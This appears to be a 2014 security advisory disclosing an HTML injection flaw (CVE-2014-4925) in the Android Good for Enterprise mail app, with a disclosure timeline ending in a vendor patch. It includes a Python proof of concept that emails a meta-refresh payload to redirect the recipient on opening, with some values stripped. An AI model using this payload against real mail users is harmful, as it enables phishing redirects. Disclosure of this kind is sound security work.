Good For Enterprise Android HTML Injection (CVE-2014-4925)

We had a request from a client to test a Mobile Device Management solution from Good Technology currently being implemented and its client application Good for Enterprise.

Good for Enterprise is built on Good next-gen containerization, which enables secure data sharing between Good-secured apps as well as app-level encryption independent of the device used. With next-gen containerization, Good for Enterprise protects corporate data including emails, business contacts, or files downloaded from corporate intranet on personal unmanaged and managed devices.

During the pentest on the Android version of Good for Enterprise we identified a vulnerability on the Mail container of the app. It allowed some HTML tags such as .It was not possible to confirm, but the iOS should be vulnerable as well.

Using the tag is possible to redirect a user to a malicious url as soon has he opens the email without any kind of additional interaction as shown in the following example.


For POC the following Python script can be used.

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

fromaddr = ‘<>’
toaddrs = ‘<>’

msg = MIMEMultipart(‘alternative’)
msg[‘Subject’] = ‘Breaking Stuff’
msg[‘From’] = fromaddr
msg[‘To’] = toaddrs

html='<meta http-equiv=”refresh” content=”0;URL=\’\'” />’
mime = MIMEText(html,’html’)

#Account Credentials
username = ‘<>’
password = ‘<password>’

server = smtplib.SMTP(‘’)
server.sendmail(fromaddr, toaddrs, msg.as_string())

The vulnerability was reported to the vendor on 16/4/2014 and after several interactions with the support, the support end up reporting this issue as unfixable and a product limitation. This is indeed a dangerous and very easy to explore vulnerability, so we decided to disclose publicly.

This exact vulnerability was identified on Android App last year. (

Note: The version tested was the, but from the vendor feedback, all versions up to the latest one ( as of the writing of this post) should be vulnerable.

Advisory URL:

UPDATE (27/1/2015): Vendor released patched version. Vulnerability is fixed. Version

UPDATE (8/1/2015): we received the feedback from Good Technology that a fix is in progress, so a patched version is expected soon. We will update the article and advisory accordingly.

comments powered by Disqus